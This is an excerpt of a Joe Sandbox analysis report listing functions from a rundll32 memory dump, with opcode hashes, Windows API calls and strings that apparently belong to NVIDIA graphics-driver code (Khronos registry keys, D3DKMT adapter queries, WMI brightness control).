API ID:
String ID:
API String ID:
Opcode ID: 4237f224364ca09d82fdfaf80bb53fadb4830d28f3244d1edf08e2ee8371bdbc
Instruction ID: f3636896c847f64d0ecea60679e4bba2af127f10e9241c2f04d9c3dc1c3b2f24
Opcode Fuzzy Hash: 4237f224364ca09d82fdfaf80bb53fadb4830d28f3244d1edf08e2ee8371bdbc
Instruction Fuzzy Hash: CDD16D30218B485FF764EB29D855BEEB6D2FB88344F50462DA08EC32D2DF74D9458786

Function 000001CEAFC955E0 Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d67f70248d9871493b444570412385d01f8192461fdcfc939c1c5d9bc251a4ce
Instruction ID: 0095dc789b46716101dd21d2512288f2e28e52fbe7cf0911a2822d30f93239bd
Opcode Fuzzy Hash: d67f70248d9871493b444570412385d01f8192461fdcfc939c1c5d9bc251a4ce
Instruction Fuzzy Hash: 6DC15030328B484FF758EB29D466BAEF7D2FB88344F50452DA08AC32D2DB79D9458746

Function 000001CEAFC8BED0 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2428df4c2b5cda2abb3800129e89791470056923b1d70c4f1012cb95f183359f
Instruction ID: 25c754acdf3b72a342e551b51f5529c04b3e83581d8e05deffd46b8b4d2e9915
Opcode Fuzzy Hash: 2428df4c2b5cda2abb3800129e89791470056923b1d70c4f1012cb95f183359f
Instruction Fuzzy Hash: A3B10C70628B488FE7A8EF1DD459B9AB7E1FB99344F50452DA08EC3291CB34D8458B46

Function 00007FF8A8D05320 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: DeallocateProcessstd::_$CurrentInit_thread_footerTimesstd::invalid_argument::invalid_argument
String ID:
API String ID: 2931547792-0
Opcode ID: 35fd540647e9ab6b5c5af79c3890bb00567cf1995cf5ab655b5ad1e370cb5ff9
Instruction ID: f97fc17d90147405db273d4a89b83bc134d27c4a01291b853a0ef081e5b800ca
Opcode Fuzzy Hash: 35fd540647e9ab6b5c5af79c3890bb00567cf1995cf5ab655b5ad1e370cb5ff9
Instruction Fuzzy Hash: 8AD13672B06B06AAEB14DB64E4501EC3376FB48788B404536EE4E57B58EF3CD219C758

Function 000001CEAFC7A730 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92dcddac20bf2a85382346e7c818b7a8622ac2cf6c43a00e52d6e282357d0b4a
Instruction ID: 5ccec3a933f4477f3bff263bf8337f2d30810f70192dcb4cdc1807c052b68d40
Opcode Fuzzy Hash: 92dcddac20bf2a85382346e7c818b7a8622ac2cf6c43a00e52d6e282357d0b4a
Instruction Fuzzy Hash: 7B81D43061C6488FF759DF1DD889BAAB7E1FB98744F10462DE48AC32E1DB70D8018786

Function 00007FF8A8D41E90 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0402643845607bb60e6e3039bc907c849d41a449b6bebdaf36c0de0ce65c9838
Instruction ID: 021a4e8c9f311b664d250f45211b7a1e89dd299fbf7dce2736e958c08a0d6404
Opcode Fuzzy Hash: 0402643845607bb60e6e3039bc907c849d41a449b6bebdaf36c0de0ce65c9838
Instruction Fuzzy Hash: DE8194A4B6A34E53ECED057D290F13C81A7DB827C0EA4D036CD6D17BE9DE1C36089629

Function 00007FF8A8D250F8 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a07fb626e085332546d45eb85ec56ea865a4a4cf460ba70e7ccd98f8023d075b
Instruction ID: b88839fe23b278e03ff549796cf06584b4896b36def47e46623429a9e742490d
Opcode Fuzzy Hash: a07fb626e085332546d45eb85ec56ea865a4a4cf460ba70e7ccd98f8023d075b
Instruction Fuzzy Hash: AF51DC72F26A9595EB50CBA998418BC2370FB187C4F118A35CE2D67B88EF3CE645C254

Function 000001CEAFC8A100 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb25984bbb84b506b7442a44f1ea2276f7130761b53bd599e6125853a15f57f
Instruction ID: 17b7f4e55ed803db92c04403a7e1809754ca34339932872c8e4ac4bcb4763ddc
Opcode Fuzzy Hash: 9eb25984bbb84b506b7442a44f1ea2276f7130761b53bd599e6125853a15f57f
Instruction Fuzzy Hash: AA4145301D8288BDF3684B1E8846BF93BC5E757B85F26522DC5D7832E2D931C80741C9

Function 00007FF8A8D1D698 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77c53f9c0189d6db76991bf2270a20501a0aee0ab20d4b3756397774943919d7
Instruction ID: 87871d6e1964c10a927f7c54f2cbfc90a48aa95a556f9c89372d4cafb9ba2e92
Opcode Fuzzy Hash: 77c53f9c0189d6db76991bf2270a20501a0aee0ab20d4b3756397774943919d7
Instruction Fuzzy Hash: 6E51DF22B15A85A5EB14EF2AE8403A92361FB04BECF405131EE2D47BD8DF78E519C314

Function 00007FF8A8DD9AF0 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6ef73793ea1788ae08d57b95515db7d43b127d7364744ae73512ded182e4f5a
Instruction ID: a18242ce69d1a9a33c84c742184561817a1eb66cc0c3ea8988a7d754b342e544
Opcode Fuzzy Hash: d6ef73793ea1788ae08d57b95515db7d43b127d7364744ae73512ded182e4f5a
Instruction Fuzzy Hash: 0741B492C4B65A74E955891C05507B426C0EF527E0E5A52B0DDBA137C7EF0F258FCA24

Function 00007FF8A8DDC638 Relevance: .1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: b75192fa0f3ac0127e2cb4a1fa065b2cdd8e19476872e7b6502ccbef9d719f65
Instruction ID: 80df244b8c16cbf6ed1ab259cc097daf406191168cd9f25d86edb3293f583298
Opcode Fuzzy Hash: b75192fa0f3ac0127e2cb4a1fa065b2cdd8e19476872e7b6502ccbef9d719f65
Instruction Fuzzy Hash: 4741EE3271AA5992EF04CF6AD9141A9B3A1FB48FD4F099432EE1D87B58DF7CD4068708

Function 00007FF8A8DD8554 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1607d6a937147e7e1b80bd02ff7d78fa9cf5cd381c73dc21dcab5a9ebf674daf
Instruction ID: e41608f8fff05a37a065f5f734777abd0d6ddf0899ed658c5b95c4a332a596e8
Opcode Fuzzy Hash: 1607d6a937147e7e1b80bd02ff7d78fa9cf5cd381c73dc21dcab5a9ebf674daf
Instruction Fuzzy Hash: EA31A232E1F182A5F6A796298945A3D1142DF817D0E248D30C13E23999CF2EB46E8E2C

Function 00007FF8A8CFB1E4 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 202COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A8CFB229
SetLastError.KERNEL32 ref: 00007FF8A8CFB4DC

Part of subcall function 00007FF8A8CFC740: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFC784
Part of subcall function 00007FF8A8CFC740: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFC7AE

GetModuleHandleW.KERNEL32 ref: 00007FF8A8CFB28F
GetModuleFileNameW.KERNEL32 ref: 00007FF8A8CFB2A8
GetFileAttributesW.KERNEL32 ref: 00007FF8A8CFB31E
LocalFree.KERNEL32 ref: 00007FF8A8CFB334
GetLastError.KERNEL32 ref: 00007FF8A8CFB380
GetLastError.KERNEL32 ref: 00007FF8A8CFB3B5
GetLastError.KERNEL32 ref: 00007FF8A8CFB429
GetLastError.KERNEL32 ref: 00007FF8A8CFB465
LocalFree.KERNEL32 ref: 00007FF8A8CFB4A7
LocalFree.KERNEL32 ref: 00007FF8A8CFB4B0
GetLastError.KERNEL32 ref: 00007FF8A8CFB4BF
SetLastError.KERNEL32 ref: 00007FF8A8CFB4CC

Strings

.sys, xrefs: 00007FF8A8CFB395
UserModeDriverNameWow, xrefs: 00007FF8A8CFB3BF
.dll, xrefs: 00007FF8A8CFB36A
UserModeDListDriverNameWow, xrefs: 00007FF8A8CFB3E9
DriverSupportModulesWow, xrefs: 00007FF8A8CFB46F
OpenGLDriverNameWow, xrefs: 00007FF8A8CFB3D5
SOFTWARE\Khronos\OpenCL\Vendors, xrefs: 00007FF8A8CFB449
SOFTWARE\Khronos\Vulkan\Drivers, xrefs: 00007FF8A8CFB433
DriverSupportModules, xrefs: 00007FF8A8CFB485
UserModeDListDriverName, xrefs: 00007FF8A8CFB410
OpenGLDriverName, xrefs: 00007FF8A8CFB404
UserModeDriverName, xrefs: 00007FF8A8CFB3F8

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ErrorLast$FreeLocal$FileModule$AttributesConditionHandleInfoMaskNameVerifyVersion
String ID: .dll$.sys$DriverSupportModules$DriverSupportModulesWow$OpenGLDriverName$OpenGLDriverNameWow$SOFTWARE\Khronos\OpenCL\Vendors$SOFTWARE\Khronos\Vulkan\Drivers$UserModeDListDriverName$UserModeDListDriverNameWow$UserModeDriverName$UserModeDriverNameWow
API String ID: 4251772004-68925701
Opcode ID: 5facd72482b9692fd211f3f53cd0d7375e14e14c12192311e83283b28c1ef30b
Instruction ID: 484ccb29bb10cd691b0014cfb6c0f8b6744c3fface5c7ba66a3877980609a25f
Opcode Fuzzy Hash: 5facd72482b9692fd211f3f53cd0d7375e14e14c12192311e83283b28c1ef30b
Instruction Fuzzy Hash: 80915F31A0BB42A5FB94DB12A8402B963A8FF447D4F440135DE5D437A2EF7CE914CB28

Function 00007FF8A8CFB514 Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 247librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB5C6
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB5F6
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB62F
LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB679
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB6AE
LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB6E3
LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB7D5

Part of subcall function 00007FF8A8CFC064: SetLastError.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC070
Part of subcall function 00007FF8A8CFC064: GetSystemDirectoryW.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC07A
Part of subcall function 00007FF8A8CFC064: LocalAlloc.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC08C
Part of subcall function 00007FF8A8CFC064: GetSystemDirectoryW.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC09F
Part of subcall function 00007FF8A8CFC064: LocalFree.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC0B0

Part of subcall function 00007FF8A8DC9BB8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DC9BD5

LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB8AC
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB8B5
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB8BE
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF8A8CFB8C7

Part of subcall function 00007FF8A8CFAB70: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
Part of subcall function 00007FF8A8CFAB70: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE

Strings

\SystemRoot\system32\, xrefs: 00007FF8A8CFB859, 00007FF8A8CFB868
D3DKMTQueryAdapterInfo, xrefs: 00007FF8A8CFB5EC
D3DKMTEnumAdapters2, xrefs: 00007FF8A8CFB5BC
NVDA, xrefs: 00007FF8A8CFB78C
gdi32.dll, xrefs: 00007FF8A8CFB597
D3DKMTEnumAdapters3, xrefs: 00007FF8A8CFB625

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Local$Free$Alloc$AddressProc$DirectorySystem$ConditionErrorInfoLastMaskVerifyVersion_invalid_parameter_noinfo
String ID: D3DKMTEnumAdapters2$D3DKMTEnumAdapters3$D3DKMTQueryAdapterInfo$NVDA$\SystemRoot\system32\$gdi32.dll
API String ID: 3214156114-2155789793
Opcode ID: 22e39945014d94b2270b4a0f70d15bca20469d08c9405ea033ee936579d7970c
Instruction ID: adf8f8bc4c9e2d7b2b3df1015c882089a55a448f6da79408bbdaa81a4a940a08
Opcode Fuzzy Hash: 22e39945014d94b2270b4a0f70d15bca20469d08c9405ea033ee936579d7970c
Instruction Fuzzy Hash: 4AB14635B0AB42A6FB54DB61E8141B823A0FF54BC8F484035CA0E57B95EF7CE955C728

Function 00007FF8A8D50FA4 Relevance: 24.9, APIs: 3, Strings: 11, Instructions: 406COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF8A8D511CE

Part of subcall function 00007FF8A8D4ABE8: _Init_thread_footer.LIBCMT ref: 00007FF8A8D4ACAB

Strings

Current OS Brightness : , xrefs: 00007FF8A8D51295
Interpolated dGPU brightness: , xrefs: 00007FF8A8D514FD
ACELOG: Current pwm brightness: , xrefs: 00007FF8A8D514CC
Nvidia::UXDriver::Core::WmiBrightnessControl::InitECBrightness, xrefs: 00007FF8A8D51044, 00007FF8A8D5117D, 00007FF8A8D5161C
WmiBrightnessControl.cpp, xrefs: 00007FF8A8D51018, 00007FF8A8D51176, 00007FF8A8D515F0
ACELOG: Failed to connect to WMI server, failed to init EC brightness, xrefs: 00007FF8A8D5106E
CurrentBrightness, xrefs: 00007FF8A8D511FC
ACELOG: Failed to obtain the cycle length of PWM (%d)! Forcing 800 for now, xrefs: 00007FF8A8D513A5
WQL, xrefs: 00007FF8A8D510DA
SELECT * FROM WmiMonitorBrightness, xrefs: 00007FF8A8D510C4
ACELOG: failed to exec query Select * from WmiMonitorBrightnessMethods, xrefs: 00007FF8A8D51646

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: InitInit_thread_footerVariant
String ID: Interpolated dGPU brightness: $ACELOG: Current pwm brightness: $ACELOG: Failed to connect to WMI server, failed to init EC brightness$ACELOG: Failed to obtain the cycle length of PWM (%d)! Forcing 800 for now$ACELOG: failed to exec query Select * from WmiMonitorBrightnessMethods$Current OS Brightness : $CurrentBrightness$Nvidia::UXDriver::Core::WmiBrightnessControl::InitECBrightness$SELECT * FROM WmiMonitorBrightness$WQL$WmiBrightnessControl.cpp
API String ID: 3754537983-2271714606
Opcode ID: 628ef8c08381526d3b675341c41e32d6837972d95de2ef61624d152d86d8edaf
Instruction ID: 0625d69093cbecaa7b2940a299f8141201c4878212e11b737b8eaa91f0feeb36
Opcode Fuzzy Hash: 628ef8c08381526d3b675341c41e32d6837972d95de2ef61624d152d86d8edaf
Instruction Fuzzy Hash: BA126F72A0AB81A9EB10DF61E8402ED37B4FB457D8F401136EA9D17B69EF38D258C714

Function 00007FF8A8D7DA10 Relevance: 24.7, APIs: 7, Strings: 7, Instructions: 212synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF8A8D7DA63

Part of subcall function 00007FF8A8DDCC30: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DDCC44

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7DAA8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7DBB9

